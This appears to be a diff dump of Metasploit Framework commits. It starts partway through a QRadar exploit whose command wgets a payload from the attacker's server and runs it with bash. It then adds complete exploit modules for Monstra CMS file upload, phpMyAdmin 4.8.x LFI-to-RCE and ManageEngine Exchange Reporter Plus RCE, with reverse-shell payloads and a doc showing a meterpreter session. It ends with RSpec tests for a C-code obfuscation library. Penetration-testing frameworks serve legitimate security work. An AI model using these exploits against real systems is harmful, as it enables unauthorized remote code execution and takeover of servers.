[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
else
PASSWORD=`/opt/qradar/bin/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`
[ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255
fi
PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c \
"insert into autoupdate_patch values ('#{root_payload}',#{rand(1000)+100},'minor',false,#{rand(9999)+100},0,'',1,false,'','','',false)"
# kill ourselves!
(sleep 2 && rm -- "$0") &
}
# let's do step 2 then, ask QRadar to download and execute our payload
print_status("#{peer} - Asking QRadar to download and execute #{service_uri}")
exec_cmd = "$(mkdir -p /store/configservices/staging/updates && wget --no-check-certificate -O " +
"/store/configservices/staging/updates/#{@payload_name} #{service_uri} && " +
"/bin/bash /store/configservices/staging/updates/#{@payload_name})"
payload_step2 = "pcap[0][pcap]" +
"=/#{rand_text_alpha_lower(2..6) + '/' + rand_text_alpha_lower(2..6)}" +
"&pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, 'hex-all')}"
uri_step2 = "/ForensicsAnalysisServlet/?forensicsManagedHostIps" +
"=127.0.0.1/forensics/file.php%3f%26&action=get&slavefile=true"
res = send_request_cgi({
'uri' => uri_step2 + '&' + payload_step2,
'method' => 'GET',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
})
# now we just sit back and wait for step 2 payload to be downloaded and executed
# ... and then step 3 to complete. Let's give it a little more than a minute.
Rex.sleep 80
end
end

View File

@ -0,0 +1,180 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Monstra CMS Authenticated Arbitrary File Upload',
'Description' => %q{
MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.
An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
This module was tested against MonstraCMS 3.0.4.
},
'Author' =>
[
'Ishaq Mohammed <shaikhishaq201@gmail.com>', # Discoverer & Proof of Concept
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE','2017-18048'],
['EDB','43348'],
['URL','https://blogs.securiteam.com/index.php/archives/3559'],
['URL','https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1'],
['URL','https://www.youtube.com/watch?v=-ziZ6DELbzw']
],
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Monstra CMS 3.0.4', { }],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2017'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base Monstra CMS directory path", '/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", ''])
])
end
def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'admin', 'index.php') })
rescue
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end
if res and res.code != 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end
if res.body =~ /<\/a>.*?Version (\d+\.\d+\.\d+)/i
version = Gem::Version.new($1)
vulnVersion = Gem::Version.new('3.0.4')
vprint_status("Monstra CMS: #{version}")
if version > vulnVersion
return CheckCode::Safe
elsif version == vulnVersion
return CheckCode::Appears
elsif version < vulnVersion
return CheckCode::Detected
end
end
end
def uri
target_uri.path
end
def login
res = nil
vprint_status('Trying to Login ......')
# Send Creds with cookies.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'admin', 'index.php'),
'vars_post' => {
'login' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'login_submit' => 'Log+In'
}
})
cookies = res.get_cookies
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
# Try to access index page with authenticated cookie.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'admin' '/index.php'),
'cookie' => cookies
})
fail_with(Failure::Unreachable, "#{peer} - Did not respond to Login request") if res.nil?
# if we redirect to core_welcome then we assume we have authenticated cookie.
if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')
print_good("Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
return cookies
else
fail_with(Failure::Unreachable, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end
end
def exploit
#Login Function Execute and Return Cookies
cookies = login
#Random payload name.
pay_name = "#{rand_text_alpha(5..10)}.PHP"
# Payload Gen.
evilbyte = "<?php #{payload.encoded}; ?>"
# Request for CSRF token for file upload.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'GET',
'cookie' => cookies
})
# Grabbing CSRF token from body
/<input type="hidden" id="csrf" name="csrf" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
fail_with(Failure::Unreachable, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF-Token for File Upload : #{csrf}")
# setup POST request.
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="csrf"') # CSRF token #form-data; name="file"; filename="agent22.PHP"
post_data.add_part("#{evilbyte}", content_type = 'application/x-php', transfer_encoding = nil, content_disposition = "form-data; name=\"file\"; filename=\"#{pay_name}\"") # payload
post_data.add_part("Upload", content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="upload_file"') # extra
data = post_data.to_s
vprint_status("Trying to upload file #{pay_name} with malicious content....")
# Lets Send Upload request.
res = send_request_cgi({
'uri' => normalize_uri(uri, 'admin', '/index.php'),
'vars_get' => {'id' => 'filesmanager'},
'method' => 'POST',
'cookie' => cookies,
'Connection' => 'close',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
# Cleanup delete payload after get meterpreter.
register_files_for_cleanup(pay_name)
# Execute our payload simply call to payload.
print_status("Executing Payload " )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'public', 'uploads', pay_name)
})
end
end

View File

@ -0,0 +1,234 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
'Description' => %q{
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
which can be exploited post-authentication to execute PHP code by
application. The module has been tested with phpMyAdmin v4.8.1.
},
'Author' =>
[
'ChaMd5', # Vulnerability discovery and PoC
'Henry Huang', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '104532' ],
[ 'CVE', '2018-12613' ],
[ 'CWE', '661' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows', {} ],
[ 'Linux', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 19 2018'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
])
end
def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
rescue
vprint_error("#{peer} - Unable to connect to server")
return Exploit::CheckCode::Unknown
end
if res.nil? || res.code != 200
vprint_error("#{peer} - Unable to query /js/messages.php")
return Exploit::CheckCode::Unknown
end
# v4.8.0 || 4.8.1 phpMyAdmin
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
version = Gem::Version.new($1)
vprint_status("#{peer} - phpMyAdmin version: #{version}")
if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def query(uri, qstring, cookies, token)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'import.php'),
'cookie' => cookies,
'vars_post' => Hash[{
'sql_query' => qstring,
'db' => '',
'table' => '',
'token' => token
}.to_a.shuffle]
})
end
def lfi(uri, data_path, cookies, token)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'encode_params' => false,
'vars_get' => {
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
}
})
end
def exploit
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
uri = target_uri.path
vprint_status("#{peer} - Grabbing CSRF token...")
response = send_request_cgi({'uri' => uri})
if response.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
elsif response.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)
if target.name =~ /Automatic/
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
mytarget = srv.nil? ? 'Linux' : 'Windows'
else
mytarget = target.name
end
vprint_status("#{peer} - Identified #{mytarget} target")
#Pull out the last two cookies
cookies = response.get_cookies
cookies = cookies.split[-2..-1].join(' ')
vprint_status("#{peer} - Retrieved token #{token}")
vprint_status("#{peer} - Retrieved cookies #{cookies}")
vprint_status("#{peer} - Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_post' => {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
})
if login.nil? || login.code != 302
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
end
#Ignore the first cookie
cookies = login.get_cookies
cookies = cookies.split[1..-1].join(' ')
vprint_status("#{peer} - Retrieved cookies #{cookies}")
login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})
if login_check.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login_check.body.include? 'Welcome to'
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
elsif login_check.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)
vprint_status("#{peer} - Authentication successful")
#Generating strings/payload
database = rand_text_alpha_lower(5)
table = rand_text_alpha_lower(5)
column = rand_text_alpha_lower(5)
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"
#Preparing sql queries
dbsql = "CREATE DATABASE #{database};"
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
dropsql = "DROP DATABASE #{database};"
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'
#Create database
res = query(uri, dbsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
end
#Create table and column
res = query(uri, tablesql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
end
#Find datadir
res = query(uri, dirsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end
unless res.body =~ /^<td data.*?>(.*)?</
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end
#Creating include path
if mytarget == 'Windows'
#Table file location
data_path = $1.gsub(/\\/, '/')
data_path = data_path.sub(/^.*?\//, '/')
data_path << "#{database}/#{table}.frm"
else
#Session path location
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
data_path = "/var/lib/php/sessions/sess_#{session_name}"
end
res = lfi(uri, data_path, cookies, token)
#Drop database
res = query(uri, dropsql, cookies, token)
if res.nil? || res.code != 200
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
end
end
end

View File

@ -0,0 +1,54 @@
## Description
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
## Vulnerable Application
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/manageengine_adshacluster_rce`
4. Do: `set rhost <ip>`
5. Do: `check`
```
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
```
6. Do: `set lport <port>`
7. Do: `set lhost <ip>`
8. Do: `exploit`
9. You should get a shell.
## Scenarios
### Exchange Reporter Plus 5216 on Windows Target
```
msf > use exploit/windows/http/manageengine_adshacluster_rce
msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125
rhost => 192.168.88.125
msf exploit(windows/http/manageengine_adshacluster_rce) > check
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111
lport => 1111
msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120
lhost => 192.168.88.120
msf exploit(windows/http/manageengine_adshacluster_rce) > exploit
[*] Started reverse TCP handler on 192.168.88.120:1111
[*] Sending stage (179779 bytes) to 192.168.88.125
[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200
meterpreter > sysinfo
Computer : WIN10
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : pl_PL
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in Exchange Reporter Plus <= 5310, caused by execution of
bcp.exe file inside ADSHACluster servlet
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek <kacperszurek@gmail.com>'
],
'References' =>
[
['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
],
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 28 2018',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
Opt::RPORT(8181),
])
end
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
end
def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
})
unless res
vprint_error 'Connection failed'
return CheckCode::Safe
end
unless res.code == 200
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end
begin
json = res.get_json_document
raise if json.empty? || !json['BUILD_NUMBER']
rescue
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end
vprint_status "Version: #{json['BUILD_NUMBER']}"
if json['BUILD_NUMBER'].to_i <= 5310
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
'vars_post' => {
'MTCALL' => "nativeClient",
'BCP_RLL' => "0102",
'BCP_EXE' => bin_to_hex(generate_payload_exe)
}
})
end
end

View File

@ -106,9 +106,7 @@ class MetasploitModule < Msf::Exploit::Remote
class EternalBlueError < StandardError
end
def check
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
end
# todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
def exploit
begin

View File

@ -0,0 +1,69 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
require 'metasploit/framework/obfuscation/crandomizer/utility'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Base do
let(:stub_code) do
%Q|
void stub() {
int x = 1;
}|
end
subject(:base) do
allow_any_instance_of(described_class).to receive(:stub).and_return(stub_code)
described_class.new
end
describe '#stub' do
it 'returns a string' do
expect(base.stub.class).to be(String)
end
it 'returns the stub code' do
expect(subject.stub).to eq(stub_code)
end
end
describe '#good_dep?' do
let(:source_code) do
%Q|
void printf(const char*);
int main() {
const char* s = "Hello World";
printf(s);
return 0;
}|
end
let(:parser) do
Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(source_code)
end
it 'returns true when the source supports printf' do
allow(subject).to receive(:dep).and_return(['printf'])
expect(subject.good_dep?(parser)).to be_truthy
end
it 'returns false when the source does not support OutputDebugString' do
stub_code = %Q|
void OutputDebugString(const char*);
void stub() {
OutputDebugString("test");
}|
allow(subject).to receive(:stub).and_return(stub_code)
allow(subject).to receive(:dep).and_return(['OutputDebugString'])
expect(subject.good_dep?(parser)).to be_falsy
end
end
describe '#normalized_stub' do
it 'normalizes the stub' do
normalized_code = %Q|int x = 1;|
expect(subject.normalized_stub.join).to eq(normalized_code)
end
end
end

View File

@ -0,0 +1,49 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection do
let(:max_function_count) do
3
end
subject(:fake_function_collection) do
described_class.new(max_function_count)
end
describe '#initialize' do
it 'sets functions' do
expect(subject.functions.class).to eq(Array)
expect(subject.functions.length).to eq(max_function_count)
end
it 'sets the max function count' do
expect(subject.max_functions).to eq(max_function_count)
end
end
describe '#sample' do
it 'returns a Metasm::C::Declaration object' do
expect(subject.sample.class).to eq(Metasm::C::Declaration)
end
end
describe '#to_s' do
it 'converts function objects to a string' do
str = subject.to_s
expect(str).to match(/function/)
expect(str).to match(/return/)
end
end
describe '#has_function_name?' do
it 'returns true if a function name is found' do
good_function_name = 'function1'
expect(subject.has_function_name?(good_function_name)).to be_truthy
end
it 'returns false if a function is not found' do
bad_function_name = 'badfunctionname'
expect(subject.has_function_name?(bad_function_name)).to be_falsy
end
end
end

View File

@ -0,0 +1,40 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction do
let(:function_name) do
'test'
end
subject(:fake_function) do
described_class.new(function_name)
end
describe '#initialize' do
it 'sets attribute' do
expect(subject.attribute.class).to eq(String)
end
it 'sets a return type' do
expect(subject.return_type.class).to eq(String)
end
it 'sets an argument type' do
expect(subject.args.class).to eq(String)
end
it 'sets function name' do
expect(subject.function_name).to eq(function_name)
end
end
describe '#generate_body' do
it 'contains a return type' do
return_type = subject.return_type
expect(subject.generate_body).to match(/#{return_type}/)
end
it 'contains a function name' do
expect(subject.generate_body).to match(/#{function_name}/)
end
end
end

View File

@ -0,0 +1,43 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::GetTickCount do
subject(:get_tick_count) do
described_class.new
end
describe 'dep' do
it 'depends on GetTickCount' do
expect(subject.dep).to eq(['GetTickCount'])
end
end
describe '#single_gettickcount' do
it 'is a string' do
expect(subject.send(:single_gettickcount).class).to be(String)
end
it 'has a GetTickCount() declaration' do
expect(subject.send(:single_gettickcount)).to match(/int GetTickCount()/)
end
it 'has a stub() function' do
expect(subject.send(:single_gettickcount)).to match(/void stub()/)
end
end
describe '#diff_gettickcount' do
it 'is a string' do
expect(subject.send(:diff_gettickcount).class).to be(String)
end
it 'has a GetTickCount() declaration' do
expect(subject.send(:diff_gettickcount)).to match(/int GetTickCount()/)
end
it 'has a stub() function' do
expect(subject.send(:diff_gettickcount)).to match(/void stub()/)
end
end
end

View File

@ -0,0 +1,58 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::If do
subject(:if_statement) do
described_class.new
end
describe '#if_stub' do
it 'is a string' do
expect(subject.send(:if_stub).class).to be(String)
end
it 'has an if statement' do
expect(subject.send(:if_stub)).to match(/if (.+) {/)
end
it 'has a stub() function' do
expect(subject.send(:if_stub)).to match(/void stub()/)
end
end
describe '#if_if_else_stub' do
it 'is a string' do
expect(subject.send(:if_if_else_stub).class).to be(String)
end
it 'has an if statement' do
expect(subject.send(:if_if_else_stub)).to match(/if (.+) {/)
end
it 'has an else if statement' do
expect(subject.send(:if_if_else_stub)).to match(/else if (.+) /)
end
it 'has a stub() function' do
expect(subject.send(:if_if_else_stub)).to match(/void stub()/)
end
end
describe '#if_else_stub' do
it 'is a string' do
expect(subject.send(:if_else_stub).class).to be(String)
end
it 'has an if statement' do
expect(subject.send(:if_else_stub)).to match(/if (.+) {/)
end
it 'has an else statement' do
expect(subject.send(:if_else_stub)).to match(/else {/)
end
it 'has a stub() function' do
expect(subject.send(:if_else_stub)).to match(/void stub()/)
end
end
end

View File

@ -0,0 +1,22 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::IntAssignments do
subject(:int_assignments) do
described_class.new
end
describe '#stub' do
it 'is a string' do
expect(subject.send(:stub).class).to be(String)
end
it 'has an int assignment' do
expect(subject.send(:stub)).to match(/int .+ = \d+/)
end
it 'has a stub() function' do
expect(subject.send(:stub)).to match(/void stub()/)
end
end
end

View File

@ -0,0 +1,26 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Malloc do
subject(:int_assignments) do
described_class.new
end
describe '#stub' do
it 'is a string' do
expect(subject.send(:stub).class).to be(String)
end
it 'has a malloc' do
expect(subject.send(:stub)).to match(/malloc\(\d+\)/)
end
it 'has a stub() function' do
expect(subject.send(:stub)).to match(/void stub()/)
end
it 'depends on malloc' do
expect(subject.dep).to eq(['malloc'])
end
end
end

View File

@ -0,0 +1,44 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::OutputDebugString do
subject(:outputdebugstring) do
described_class.new
end
describe '#outputdebugstring_1' do
it 'is a string' do
expect(subject.send(:outputdebugstring_1).class).to be(String)
end
it 'has an OutputDebugString' do
expect(subject.send(:outputdebugstring_1)).to match(/OutputDebugString\(.+\)/)
end
it 'has a stub() function' do
expect(subject.send(:outputdebugstring_1)).to match(/void stub()/)
end
it 'depends on OutputDebugString' do
expect(subject.dep).to eq(['OutputDebugString'])
end
end
describe '#outputdebugstring_2' do
it 'is a string' do
expect(subject.send(:outputdebugstring_2).class).to be(String)
end
it 'has an OutputDebugString' do
expect(subject.send(:outputdebugstring_2)).to match(/OutputDebugString\(.+\)/)
end
it 'has a stub() function' do
expect(subject.send(:outputdebugstring_2)).to match(/void stub()/)
end
it 'depends on OutputDebugString' do
expect(subject.dep).to eq(['OutputDebugString'])
end
end
end

View File

@ -0,0 +1,26 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Printf do
subject(:printf) do
described_class.new
end
describe '#stub' do
it 'is a string' do
expect(subject.stub.class).to be(String)
end
it 'has a printf' do
expect(subject.stub).to match(/printf\(.+\)/)
end
it 'has a stub() function' do
expect(subject.stub).to match(/void stub()/)
end
it 'depends on printf' do
expect(subject.dep).to eq(['printf'])
end
end
end

View File

@ -0,0 +1,22 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::StringAssignments do
subject(:stringassignments) do
described_class.new
end
describe '#stub' do
it 'is a string' do
expect(subject.stub.class).to be(String)
end
it 'assigns a string' do
expect(subject.stub).to match(/const char\* .+ = ".+"/)
end
it 'has a stub() function' do
expect(subject.stub).to match(/void stub()/)
end
end
end

View File

@ -0,0 +1,32 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::Switch do
subject(:switch) do
described_class.new
end
describe '#switch_1' do
it 'is a string' do
expect(subject.send(:switch_1).class).to be(String)
end
it 'has a switch' do
expect(subject.send(:switch_1)).to match(/switch(.+)/)
end
it 'has a default' do
expect(subject.send(:switch_1)).to match(/default:/)
end
end
describe '#switch_2' do
it 'is a string' do
expect(subject.send(:switch_2).class).to be(String)
end
it 'has a switch' do
expect(subject.send(:switch_2)).to match(/switch(.+)/)
end
end
end

View File

@ -0,0 +1,38 @@
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::UninitVariables do
subject(:uninitvariables) do
described_class.new
end
describe '#char' do
it 'returns a string' do
expect(subject.send(:char).class).to be(String)
end
it 'is char' do
expect(subject.send(:char)).to match(/char /)
end
end
describe '#int' do
it 'returns a string' do
expect(subject.send(:int).class).to be(String)
end
it 'is an int' do
expect(subject.send(:int)).to match(/int /)
end
end
describe '#string' do
it 'returns a string' do
expect(subject.send(:string).class).to be(String)
end
it 'is a const char*' do
expect(subject.send(:string)).to match(/const char\* /)
end
end
end

View File

@ -0,0 +1,34 @@
require 'metasploit/framework/obfuscation/crandomizer/parser'
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Modifier do
subject(:modifier) do
weight = 80
source_code = %Q|
int main() {
int x = 0;
return 0;
}|
p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
parser = p.parse(source_code)
fake_function_size = rand(1..3)
fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size)
described_class.new(parser, fake_function_collection, weight)
end
describe '#get_fake_statement' do
it 'returns an array' do
expect(subject.send(:get_fake_statement).class).to eq(Array)
end
end
describe '#feeling_lucky' do
it 'returns an boolean' do
expect(subject.send(:feeling_lucky?).class).to eq(TrueClass).or eq(FalseClass)
end
end
end

View File

@ -0,0 +1,30 @@
require 'metasploit/framework/obfuscation/crandomizer/parser'
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Parser do
let(:random_weight) do
80
end
subject(:parser) do
described_class.new(random_weight)
end
describe '#initialize' do
it 'sets the random weight' do
expect(subject.max_random_weight).to eq(random_weight)
end
end
describe '#parse' do
it 'returns a parser' do
source_code = %Q|
int main() {
const char* s = "Hello World";
return 0;
}|
expect(subject.parse(source_code).class).to eq(Metasm::C::Parser)
end
end
end

View File

@ -0,0 +1,72 @@
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements do
let(:c_source_code) do
%Q|
int main() {
const char* s = "hello world";
return 0;
}|
end
subject(:random_statements) do
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_source_code)
fake_function_size = rand(1..3)
fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size)
described_class.new(parser, fake_function_collection)
end
describe '#initialize' do
it 'sets the parser' do
expect(subject.parser.class).to eq(Metasm::C::Parser)
end
it 'sets the fake function collection object' do
expect(subject.fake_function_collection.class).to eq(Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection)
end
it 'sets the fake function list' do
expect(subject.statements).not_to be_empty
end
end
describe '#get' do
it 'returns an array' do
expect(subject.get.class).to eq(Array)
end
end
describe '#make_func_arg_str' do
it 'returns the argument string' do
fake_function = subject.fake_function_collection.sample
fake_function_name = fake_function.var.name
fake_function_args = fake_function.var.type.args
s = subject.send(:make_func_arg_str, fake_function_args)
expect(s).to match(/\(.*\)/)
end
end
describe '#make_func_declare_arg_str' do
it 'returns the function declaration argument string' do
fake_function = subject.fake_function_collection.sample
fake_function_name = fake_function.var.name
fake_function_args = fake_function.var.type.args
s = subject.send(:make_func_declare_arg_str, fake_function_args)
expect(s).to match(/\(.*\)/)
end
end
describe '#get_random_statements' do
it 'returns an array' do
expect(subject.send(:get_random_statements).class).to eq(Array)
end
end
describe '#get_random_function_call' do
it 'returns a function call' do
expect(subject.send(:get_random_function_call).class).to eq(Array)
end
end
end

View File

@ -0,0 +1,49 @@
require 'spec_helper'
require 'metasploit/framework/obfuscation/crandomizer/utility'
